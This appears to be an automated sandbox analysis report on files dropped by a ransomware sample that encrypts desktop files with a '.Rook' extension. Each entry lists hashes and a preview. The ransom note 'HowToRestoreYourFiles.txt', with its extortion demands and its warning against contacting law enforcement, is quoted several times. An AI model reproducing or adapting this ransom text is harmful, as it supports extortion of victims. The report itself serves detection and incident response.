SHA1:	53659349A472DC92C391150897F1C80B5107479A
SHA-256:	24A230B541B5869B9D709D622D0074D10609F1A8D21AFF0C6864CFC437C3B0F1
SHA-512:	3D1C71701FAA057A5F3524C5CBFF5A6806E8DA864ACC5DECD1A2EA98D0E75EB1294B2B7A004A0BB7415A07E16B56BBD0FE4C1003CF078A9DC0559BC2E4FA71C0
Malicious:	false
Preview:	..,.]....BB.Dux@HHOQXTSNPBHYEJCG1.f0S...G..LW.XFIJJCFHWLJBBRXP6.sV.o9...8v.=..KGXPKCSIOJRJCOVGpf?.........v@3HHZFMUPHPRIFMSBK.._K..........KTIZUBENVCKWONAE.d...wV....M7.U.WHRSKEJQGLMLFOVZ_A...n.....r.F..NRPCFRMXETXWVNWK.....X./.=/..1.RPKNHHHPCBRHKGMA......eI..n....#QHPHINYNDKJANQJMW!.vZ..Y...~J.W.JCAYSHYANULGFODY....<r......~..ZLWLFIJAJVRDKLPM.{S..+..F....PGQYOOPFXNAPEUAO...(h&IOR...w..JJSMKMKLLVJGEXPD...`}..w..1F....HDXCGDXDDDRPHFMG..3&.Yg....9...'YZDVVDKDTUHIWYOX.4.Y..V..&f.C..^ZYOLJYMXKJBINMTA..9....q.;z.....ZFPZEAAQCBOJUMGW.. ..a..T.=...NPHYCLFFMVQNVWRZF,P..R...3G..&.PWNGFFAXTNIPSIXU4wm.&p3......yINIWMMVVOLFCVETM..uM..t.j...e_o.KZBACESLDLZKGFPY....].....jl\...DVXDZIDWPYWGIVQJ..6.,.=..V?4Ma.YYZEBWXZGOHXIBTI.....r4N....!v.DHJUGEYGGJHUMVIY5\.K....%N...IYSURLCGHWJYDTFJu.?V.A.\|7.\|....HELNDROMZYRVVGUD.w....`...y...MSNQTGPQCPSMWKUY.9r.dB..D.....hFLWZYBYCJBNYYIUS...q:....b.....HZQTCSUOROWJBLYK.......H..}r...YGWTHBHUFFQSHCUN......z.k._..WRGAFHTOABWPHIZIR..g4.Hg.

C:\Users\user\Desktop\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\IZMFBFKMEB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847366070499698
Encrypted:	false
SSDEEP:	96:xRmtdr1CdrDa7Ko4/AAUn5U50+NS43LPuLjv:PW1eoiM5U50B43LPun
MD5:	FA7BAE204FA5AEC8D4E9FC4A709BBFF6
SHA1:	0F43FC4A9D9C4AFDEB19881721781ACEE15E58D3
SHA-256:	D05A7CC4EF0D4DCE9E24E99A20526EEB79C3E7B4B17EF0D5FEDB70CE2F45C194
SHA-512:	A7D43784D07CA5CD8B5525BD6CDCCF4E732662B27FCA584C0F6C775017744D1043088CCE08B8BF7639C24C7DB76DE62F35D7201D8762C4F6E72B76C501488E5E
Malicious:	false
Preview:	Z7......u.......YOGRJOKLUYKYEMJU.T5..m......gv.LZNUOXWVNDZJRAOO...[.A..UE......PDNPIJFFQZDETQFKl...8..v......NOXAVBJCARKFOKHI..[%......2X...SEFFASUHHMDHUBAM6.>]...o.]......LTUEBNLLDQOMZLGI_.F....i.NV...QAWHNDDSWUDEYOPP.;.d.%..Z2C..HPIWYDNDHUXDNYSL.......E}H...SHEOVRBHVMIEIIBHE...0......p...XFOLUTZDUOKAMBBJ....a.5...-.i.8JGMPZZSAVFTSOBTV... :.......pk0.UHYKYXWZSTJELLKRJZl.g.p.....(..UTDAKMVDVNYWADPMN...j.f!...ZBuHCRSDUXMKTYASRRO.R.2.#?c..~A...bOIBCKWHWPTJGKEQO^Bd.p..._...g.YSUWDEDDGTJHWLZY._p...'.........EAZUDOXSWLHJDIGSY.....ir.7...9.AQHXCOAVPDFCQIEHm.Nu.j....Fq$.SPHGVTEDVHAWYWOO..E..h..q......IJQGRICKYUZPXLOZa Xi.{27{%e...UVJTEOTDEYCCRPCV".6.{*.@m...qo.QWLNMYIPCOLYFBDDS..e..@.&....w.MSUSNBSGLDTYGEEB#..t0.\X6{...{I$PRTVXERTMYQWIYUT..E....m.....XMIYKWUXJBHOCOBA...A.W/....p..bBPSQGRQDABKLPWJJR@G<..&]....hg=.CHHDVYXDYYIUIOZD.:....m~.^...!.JFMZOMVLIYUHJEAMl......~......JKHILQWXCRKUPFLJK.^r.!....z}H...HJWSBCSSQMNJANADbV..J..~2S0.o..3ZETZWJFUFSMVAZQX.,.k.7k.

C:\Users\user\Desktop\IZMFBFKMEB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	TeX generic font data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839050799207283
Encrypted:	false
SSDEEP:	96:rKejUF2fen74UrYnPJ39G7Ko4/AAUn5U50+NS43LPuLjv:1jUF2Gn744YnPJoiM5U50B43LPun
MD5:	FE5FD87C25F581C4685194DFC41796F7
SHA1:	5BCB53672984CFC2E81B5FFBC4CE297AC4B8EB5B
SHA-256:	DC142D4AD5F9C13217FE723D348DCA24AEFB4AD83A64C4EF5563240657A69D95
SHA-512:	D88847D6BDB540D1301A41C1A0FB080EFB5C9E57E646CF17C73A400C1D86273E12144F639AEC8E85652F180A9B84C76DC252D05947B0B250C149AD72AB09864B
Malicious:	false
Preview:	..z..&..n....B.NYOGRJOKLUYKYEMJU...Yn.......O=..LZNUOXWVNDZJRAOOM...N....`/.`.9.PDNPIJFFQZDETQFKC..k{..&...R....NOXAVBJCARKFOKHI.v.1}..7....u..SEFFASUHHMDHUBAM...\.o..lV.L.\>?LTUEBNLLDQOMZLGI.nS..K......bw9QAWHNDDSWUDEYOPP..n......."o..HPIWYDNDHUXDNYSL.6(.1.\..F...."zHEOVRBHVMIEIIBHEVf\|.%.....Y....VXFOLUTZDUOKAMBBJ.y............OJGMPZZSAVFTSOBTV.:.......nX.Q...UHYKYXWZSTJELLKRg...w..^..0..(..TDAKMVDVNYWADPMN.-....,n..EB..HCRSDUXMKTYASRRO....u......W.OIBCKWHWPTJGKEQOdfn.c.X[..4.c.:.YSUWDEDDGTJHWLZYy."....Z@......^EAZUDOXSWLHJDIGS.q..@,9.s.......AQHXCOAVPDFCQIEH.w~hDc..u.9u..SPHGVTEDVHAWYWOO./...4I1..C.b<.IJQGRICKYUZPXLOZ.f..N.....ZO#...UVJTEOTDEYCCRPCV...xG..?...:...WLNMYIPCOLYFBDDS{...<w`J..u7{MSUSNBSGLDTYGEEBV..o.qV.k.k.yG..PRTVXERTMYQWIYUT.....k%.d3l...XMIYKWUXJBHOCOBA.=.@..(.u....;OBPSQGRQDABKLPWJJT=.[....8I. ...0CHHDVYXDYYIUIOZD<.....=2../...5JFMZOMVLIYUHJEAM.v.Hi. XA.u...KHILQWXCRKUPFLJKr/~...E.}.r...6.HJWSBCSSQMNJANAD....>.sYF%..\'..ZETZWJFUFSMVAZQXr!G....

C:\Users\user\Desktop\IZMFBFKMEB\BWDRWEEARI.xlsx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.842047637136265
Encrypted:	false
SSDEEP:	96:JbFYK5GRykAt0G7Ko4/AAUn5U50+NS43LPuLjv:JburR1iYoiM5U50B43LPun
MD5:	B80B4888044069A55FFFC7C9E7C4946D
SHA1:	25779E985798F72E1CC94277001F175582280523
SHA-256:	87CE45D7A851E83FACA102CBAFEAF6379619E6AF01469587138DFB86EE29D352
SHA-512:	547D134E211BA2FE0F2C872ADD3E4C72EBF54C5D03E2941F870A6EE94532F720294544BC1D53E223D1E425C2C6F35E8936D90F2104CAB33FDE984DE2CC1D2A89
Malicious:	false
Preview:	..>....^.7.I....YFZKKDZROVEXHIWV..h.V'...X....UARELJDXJXCSHTPH.$Y.L(.z..I?..@.SWGLMRRJSEIGOIXH^.8....j.)CTy..}EYRRCAEYIYIDAZFY.k^..r(.P.......QIAICZQWEBEGEFKV.m..^.-.5...\iVMUNNYYOCDVZVNLF.....dRd\|..Fc?.DRJAHLNPQBHYCZTY...Ni......r.._LMPPSQZAAYPORMHI..gk.T.W-._..Y..FIRXNFDVQZSZAWNVe..q.2r =.Be0..NFJJZSUQWRBLHJRB..{..=..kD.R$..YNHPPIXZOEZBTJVV.}..".xO...}...TZPXEFMEGBQIWJWE.{..(f..b.dD.Y.JVBYCRJHEAPKMQTFB......k.V."zW..OFKBIVGOEKQTPROWJq.u.:/..:.'.....DOYJHFLFDPWAUBFZp...^B.TF..3.EFIGEXIWYKDNDXZDn.=.i.>..g..?9..GEYCOTPSHBIHWNMF...[..b..r.bW..XRDUTNEVIVXRZAFT.3..e.....Y..S.]NNFAZREEJMMAYLCEQ.9K....+Yt0t.VAUDJBTIBXIGLQAUA.b\|.V...b..vB..2AVBCBZQUROXOPVYH.......<E..=<M.VEVNCAEAGPJZDVRS..<.m....S].....SKDCSULRFDCPIFAQB..}.2=.Vj....i.JQFDAXWIIRQOXDDH..o....\.j..{.U.MTWWPRGTZDPGWXXO...\|..H.....Qz/.UJGTQKFTJYBFZUIM.U/w..E..\|.].1.VRSFZXSFZBBCYPRSA)=...1.N.g/....tREJOCEEMMPDKFUGG...hL@.,.......fKBUNLSSHRUSLHBDFT..t...6...%.V.CCHGINQIOTMAKGKPQa...mn..-......UPKQZAJUMMQGLLGA...2.l.

C:\Users\user\Desktop\IZMFBFKMEB\DUKNXICOZT.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.837119545492364
Encrypted:	false
SSDEEP:	96:ZkrEYRgW047Ko4/AAUn5U50+NS43LPuLjv:ZkrE0soiM5U50B43LPun
MD5:	CBC4D917B52601FF9BA6FE5D57AE37CB
SHA1:	67788EFA5D339EB089B563AF68E309287BCC4C98
SHA-256:	9BBBF81F1296BED271786B49EEDC6EB97B533E38D14FAF0CE0246837DD17CA02
SHA-512:	34D472F62551A641BF8CEC45E88E5459459181353D577CEC53EB7277D01A9CD6C02D4519543239953C6CE6EDA158A15533E5D3A477C4BD082E6F0E43E70DA837
Malicious:	false
Preview:	...".}...`G..+2RQNKVCEQUFBSMCGT.g}.2<i.3.i...%$YDHXTQPNHHFHJTMI..UG.seQ..o...#.IPWCYHGFUQMXUYJByF2.)9...;X..r..AXLAZTIQUNTNPGER..u..fG........UNSGUFMHVRZKTGCT8.....T5..K...SLPJQVAUHFJGITHW.1T.o.0g.]....KUCPJMVLNEPNKDIZK..9.w^...d.'.ERLUSQRQMRUGCFVVHN..........a%..SYOTZHCRWDCIILVD...l5.....@>.#yKZLEBJFPCBFWGQGWJaV^...J.49^...SQGDDEIOTQFNFCPB.c0..%#J.\.H....YAPHBDYRWVLPTNZQ...{.<..$....OHUQUMEVRRXBUGYM..x86.d......9fTODUBHKLIIDLWFSVi3..-.&._.z{..\AGSWTRHIIZFLUSWOQR.+@vy...k..6t.RRYRKRAUTQQLIUHD.x...}5..^.e..KFTTKYLQLJJTEVOLX........,.Zt...LOLZCIBSUKLPDJXJ.B...B.{o!V...FOMTIWZMXNMUQTDLW..6.(P..y...V2DSWMKJERKRVNPKGT>E.U&.[....4V}2JMUUYOBVXGHJPZEQK... ..H.......ZKEDUCRZKCLMBUTIC...m.A0..,.._vSVSHOIOGCLWGQOYR...7..%}....8A.TSTZBWQMCLPDYWEXo..0F..X..?\|L{.DHOPGLEHJPRKNWCK.............5NVXHVKISJRPDYQBKi..9.j.XW..D.oI.FTFSIVNPFOAYLIRB^W....CC......7JPFGRFFPXAQEEPWYz.<..H.(.d>.o..RCBJRORHQBKISQFF.Z@..n[-...[6.4.ETKBEANFDVZBQHUO..QD"l.b..-..X.JEEGGSIDPOLYQHTC9....@..

C:\Users\user\Desktop\IZMFBFKMEB\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\IZMFBFKMEB\IZMFBFKMEB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.834697542967644
Encrypted:	false
SSDEEP:	96:cIcnpXgV7SZxmLED7Ko4/AAUn5U50+NS43LPuLjv:cI6pXgdacoiM5U50B43LPun
MD5:	8C1328052BDCCC9918B68B7DF22E68FC
SHA1:	CDC4FC371418851F96343CDD6A5618AAC0DC78A1
SHA-256:	8E86202EDB3B7D6B4ECE539D96E516C9C10DCB6D2164C8EE346E2021AF21F5CA
SHA-512:	0CA9B3D854E27320616512CAEB66D7281749B66F4A5CF1990353B1CC1C7C98A2304A6DBCF1CBFDCC53367782F2C1A52A6DABA7F0DD6A37ED36281EC353F01251
Malicious:	false
Preview:	....4x+v.".8@.-.YOGRJOKLUYKYEMJU..h.]..F...m.mLZNUOXWVNDZJRAOO....hS.....Y.K.aPDNPIJFFQZDETQFK.-5.IG\|..EM.E..TNOXAVBJCARKFOKHI.Z;pW....B..9..SEFFASUHHMDHUBAM.T.......G.....LTUEBNLLDQOMZLGI..`.-LZ:D......_QAWHNDDSWUDEYOPP....B..(....\|0.HPIWYDNDHUXDNYSLwnP.........i.HEOVRBHVMIEIIBHE...._..DR.o"-RW.XFOLUTZDUOKAMBBJ.....gf..}M.P.~-JGMPZZSAVFTSOBTVW........t.3.)A.UHYKYXWZSTJELLKR...."[/..."-.\TDAKMVDVNYWADPMNB(.QJEO..y.i78.^HCRSDUXMKTYASRRO...;.....z..2...OIBCKWHWPTJGKEQO,9.&....>..&.U..YSUWDEDDGTJHWLZY.."Vz.\|..J.....VEAZUDOXSWLHJDIGS......%..j...C.AQHXCOAVPDFCQIEH.F.[A...O.jT.pSPHGVTEDVHAWYWOO......Jg.+.FW%.*IJQGRICKYUZPXLOZr8.0X'.:.C1....UVJTEOTDEYCCRPCV...n...........-WLNMYIPCOLYFBDDS.:..{z...\...O.MSUSNBSGLDTYGEEB.A....9K%..-...PRTVXERTMYQWIYUTS.:...x....O}c.XMIYKWUXJBHOCOBA..a.....^# .f..BPSQGRQDABKLPWJJ..#PZ..^.....;.CHHDVYXDYYIUIOZD.PT.r...\yQ....JFMZOMVLIYUHJEAM.0#.2.W'Q.Z..#R.KHILQWXCRKUPFLJK..}..\>%.f..8~.HJWSBCSSQMNJANAD.cy......2 Q..ZETZWJFUFSMVAZQXDSq..=

C:\Users\user\Desktop\IZMFBFKMEB\OVWVVIANZH.png.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8341528265390465
Encrypted:	false
SSDEEP:	96:sDPxtecEBvmhmYLSi7Ko4/AAUn5U50+NS43LPuLjv:sDTxEBvmEs2oiM5U50B43LPun
MD5:	E7254E3A0EFF1617A3DA9238A00EC049
SHA1:	E21C2F2F95E8E9282E7357F173EEEB32D7C19FAE
SHA-256:	0A407E3849872C5D87ED1D15A2CCD457DD8B58B9073266548D35AFA52586C9FD
SHA-512:	CF0E9FA315B987076979AF5B5FD5351385671C12D6F46B98FC968E50526FA9F0E7FB524B1406571C486CA1DB56B7D073FEF534243F1185BF34DBD47862598AB5
Malicious:	false
Preview:	.A._.{...m#...BSTOURHCRPQFPUVPQK\/kb9...F."...AKSTBWQDGWLQAPUAB..:.!.2.u..r.aKYPRDWJTBAMULTFV.L.#1...&4..dHOXDUULNIZUDQBKQ..~....D5.R.qNPUQXHVAAOZKSYSCX..$..]].rDwd.Tq'DGZRWAMXCBJWGDRE)..:."..Wi...LAZPTRPFOAYULIBESx...-.......CRYBJMRVOQHZZPXO...A<...R......TYOPYRBXWXWVNIPQB.2.l...>....Y!MQTOCCFGYBYKVYALOB.$..).D.K..%.EWRBFDABMGAWEVCS.du..`..<...n.ITJHMTXSDZQTDJQCQ.IU.........}..JECILZUGNSGYVOHGgS.......H.MVXITVRPWWPLUEER.At..MI!.....TGzPGGXTTLWNZRFYGVS....v..........DAQOKPMGHNINOQNH~./..+.d9-2.r...TAXZESTKIFXQCXDN..J..&...B......AMJWDGQGWCPOBTPX...$Q.....n..p.VFMEXBWRHJBXLQDHU./..\./p...\|-.MXBWHFLKLIAGAKQDa.<..%?.k..Jp..DAPPBPGCQOOHWDCB.M(.~.$.;...I7.IOWZLTAIDMXYARRYI.i... .W......XDUPRLWSKRGCTTIQD.e..{.6...7X.A.PZQLSWEVBDZXVQAO,a....b..E2.....AVBHEKYBUXNMLAWI.<..!XT.....w 5JAYUVNUWQQYOHHWR..btV.....+.....ZWHPDIXDEWDCNYUXWj8U....96..E...VNOOCASKUTHAZVXP.r.]../zkJ...W..FBGIZKVUDLFYSFJX.........b J.y0BTNPDEUUEDDRJHFX....]o...T..QJTNTOREWWDDTIVJ..hyt..

C:\Users\user\Desktop\IZMFBFKMEB\UBVUNTSCZJ.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.842273094006131
Encrypted:	false
SSDEEP:	96:zRHyi9obSOgRkJ7Ko4/AAUn5U50+NS43LPuLjv:zPobHgRkYoiM5U50B43LPun
MD5:	2B244EC33398960015DDA9B9AE48C1FF
SHA1:	40A4EDDC987BD18B90F3C39A9C948B0E0B074EA5
SHA-256:	9226BA30A370854D9661C81A41CF30A53CAEB7293F68376D7DF221DB3504E4DD
SHA-512:	6153295B5AA12B53490ADC1F3FD304F0F2EA519DA369F505C732C1200E05A03F4EEC81F86BDEFE50F19527AA9BCDEF6E7867F18EABA3858A3308821FD77D6315
Malicious:	false
Preview:	v....:.E..Z.^s)"ZLCTIUQFFTUXDGDM"hy..v.....j.B^zSTOXKFSFTPIFBIKU23q..!..n,.....EEEUNDVTZSSGPULUi.B...<6d.Gil..OQKVROLRJDHOOHJX'.1aO\@.1.]..=V.EJCKLRVWCOLIIJKX(.~.#.3S..VFSr..CFIUBQJSAAGFSLSZ.<......<).....VRABMEABTSRVNHFA6..._..-.v...'.8CHWOENBPZIRFFNIB..B."+m.s0X...JYXIRUTOLTBLVSGV7.Z0.5...M.../PGXTFQAUQFHGAFMB1.Z...I}.a....V.NIIKVYFFALFRMJLP.\.....\|.<l....VCRRTIKWLRPMCWOU3...~..{...@...IZVGCFNRVDQJDBZF..O.?...D..iG..FRJEDQXOLNJKZEAKR.x..*..a.......TRTDUFPLZDAQZOEV.k...........zW.ENCESIPRLRHJPSJI.M....K...s.w.e.PMJSJVKIRCJDUJTBr..4...R.....MCATMJTIPRCDTICNC........K.0..B..VRUZXEVVHOCRAMAN.l..l......\%.FOMUVYGSTOPSLYTH...t.V.....E.>FBISOCNEJQIQSHCE.].>V6.... .....LQLKPGBGVXXCAGMQ....%bo..$N.6..OXXERANPKKZPXOUE..#.$y.. f...LBBDDBNPFYMAIQEN........\.N..N$QZBZOZJSXPYCMWYG..a1.bp...S..{.uMREQFHKKODROXTZNS7.\|.I>Q.6..p..RVIHZNACJEUFOKBTph,...T...P.k.!SNIXNUGQEZKRSOOHy.F....(..R.&{.ATAIQUBESVNNUPBT.,X..F.N.;d.q.SXPLFTUDGBIUBNBE.uu...."D.(.UAERIXPFMGENDQBP......R

C:\Users\user\Desktop\IZMFBFKMEB\WHZAGPPPLA.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.839675485177812
Encrypted:	false
SSDEEP:	96:1uU14QHfU1nEMSsV8P7Ko4/AAUn5U50+NS43LPuLjv:1uoUfoiM5U50B43LPun
MD5:	121B5DDD3E539FCF705566715C6965A2
SHA1:	E6400AC9E72D253B0A43DADF79493642D056D433
SHA-256:	9B742950BC019F31707CC9F7B0BE680F8F52746288FB299A77E9DC47197AA634
SHA-512:	CE8A844EA4C05A0BB557CDCF75C599E4D736B55ABEFD86BBDE9BDE390208390C6558E2C33FD6BB574E5A09FD95B8B50FCCB87B71A72A0ABC34BA8F72310ECDE8
Malicious:	false
Preview:	....s....tf{(..CUNPWLIPSTKGXJJHu..CK..&.p.r.j.?GJNKLAQFLYRVIJCXR.AP....`..dv..OFPUXUNJELZTWLSC..F.y.._.,$-Bb..EBDBXTJOVUOJXAJY..K.?.j;.....d..LKJEEOPCASTYPHMC._..-.^.mqTBcy.YULUACRKXOWBGJZI.!.... .....(.LDGGSFEIUJILBDVW.....hw.#....X..EYCOULLKZCWMCRHT.n...q+.F.....bWBEBYBIVIWOONLTPv.:........dN.ALXTTAMSNCLYYGZFL.0.,C..J{s..t.DMKNPRJNGLGUCIEK...... ..~..!...ZUTQMJOYVJRXYMXA........1.Gw;GTYDTHAODYZHZCXKVp..V.u..m...K.XLRQAUCSMTNYWFMI....].".vSgo.E..GQWCINLCVUOJQWDB..Qa..j.......IVUSEYMOHMSBEVQJ/M.@...../..8..GJXXWFMWUETTDXDG9...D.k...@.f2..XBVHRNMBLWUTKNBA....>.2....^..OYLRNYFEOQEYSVVJ.F.T.foi. ..y...DAYWFNMFUJJOVHNG..g.'..u....T.IKLOLJVADGGUCRVF....\...'..$.<..KMLOAVJEDFLOCVQF.+...a.{..S.U..BTGGQRJFISGOPPIV(..0.I....K..'.SBSTYAHOEBQCZKPU_.}....5.?.3....AMKEYIXMDRHNJVKS...~..h.m%.L\|.7.PSNRHWMQQWQPYJJKI.S)._Z.O.@W..W7KKTJSOYKCXCOSJQS..im..%.tEV,m.KWICHUHDTCRBUSPJLW.v...>..D*z.H+.XGKKKGADJYISDOMZ.U.r...[f.P.1T.NMBGQFXPSONUPKDH....O..V.....SCOZNIWFCCCOSZFN..u.#z..

C:\Users\user\Desktop\MIVTQDBATG\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Desktop\MOCYNWGDZO.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.849255775125234
Encrypted:	false
SSDEEP:	96:1YWKkRv2KN7kp8ZS/mZv7Ko4/AAUn5U50+NS43LPuLjv:17DbkHeZuoiM5U50B43LPun
MD5:	B06AB66861D3DE02FD83CEC13B4D9072
SHA1:	027C877D98B4E57C9C9264F31C96871191B455F6
SHA-256:	38973F313EC8296F82A4964702C677D818C2D806D275AA3C1F8D6A5D8A9851D3
SHA-512:	C17881EC30A690D81AF562A2533F1EBFF69B6F890A1EDB1453952788B13DE7DFE68AB868408F166E85AB187E5B218AF75734E846072E1066AD82F259A8E8E64E
Malicious:	false
Preview:	4..~.d F...yZ.bJXWVEXMAZFCWSNOW........j...3.HLBXCGJHPEXXNITWO[[....Lbi.2.k.FAJXVPGEGUUVNIULVK...!.....p3...QLFMFVJSUAERDAOE....<;......O$POVOPJCCCIRHICKBZ.<.8>N...m[G.}XNGLJVGIIOILNEGR0N..Q.. .L....f.IXQSKJBXKIFCRLYY.3{._....f..%..ZAVQFYHZABDTLXVA.....6...UW.h..ERHWCUHUXUKEFWIV.....&m..&.h..=.AFUTOVRONZDHUXIF7..0+.S...UH...XXSWHSGEXQUJJJPP......#.cNb....TNBTYWXROFLGNORH.c.cx,..pC.c.!.FZMOBYNLQKULZXGF.)...H(.].3....UKPVCPCODHNRUCNI...$...6..m.\|...IKCICNBANPAFLEBCf..].x%.Nbh.8.HJKNQCGLYXDMZXWG...yq...y...Tj.TGWEOAMFOBBYVXBO..\H..]4..yQ..M.DGYSUMJSEPOOUIJX.UN.t......,\|DLPWJOTMIEEMHNPF.'..;].).....%.QIESJYVVLEKLOMGF.%.Z..aM7..... rUDOKZQPAXNCAPSBP.U.%...z..B.._..JCCAQCXTWKOWHYFPb;.Q.n.\B....}.]KOAZWPTIBAXVJBVTn.......KK.P....JASIGFSMFGUQTTIV{..7.>U..j.+n2.XSOZBKGHVKBXJLPU..N.>2...,.."..IJQRJIYYBQXNICKPC.\..s.@....y..DPXMXSNTZMUCAYAO.G......_G.....OUKPWZTRQWNNZMUV.......U..p..QPQBRRAIQVXYOMSY..f. .[..$H...?ZFXJJENJOZVVDSEE....'v..%).otc..VIKUPOBCYKBYFFBL.%%r..s

C:\Users\user\Desktop\Microsoft Edge.lnk.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	4040
Entropy (8bit):	7.573726050663695
Encrypted:	false
SSDEEP:	96:BsIazy661P4Crt4ly27Ko4/AAUn5U50+NS43LPuLjv:cL4hOy9oiM5U50B43LPun
MD5:	0FC034C141BAC8E131E3FDD1EFB20525
SHA1:	333585B77C5AEE6C510A4399D1AEBBAECFE7CF20
SHA-256:	AD9B4E81F9E966CF0891EFD509D882FFBBEDCFA66935CC73E6BAD7C95EC8A611
SHA-512:	0CECC0E1C0778F58599805018B2FC710FBF922CAEA41A6DF030E3681732767AED8EEC1DBF39E24FB227A753E4BCB2E34F0EADE989D7C66D06AC51D8CAAF7E60F
Malicious:	false
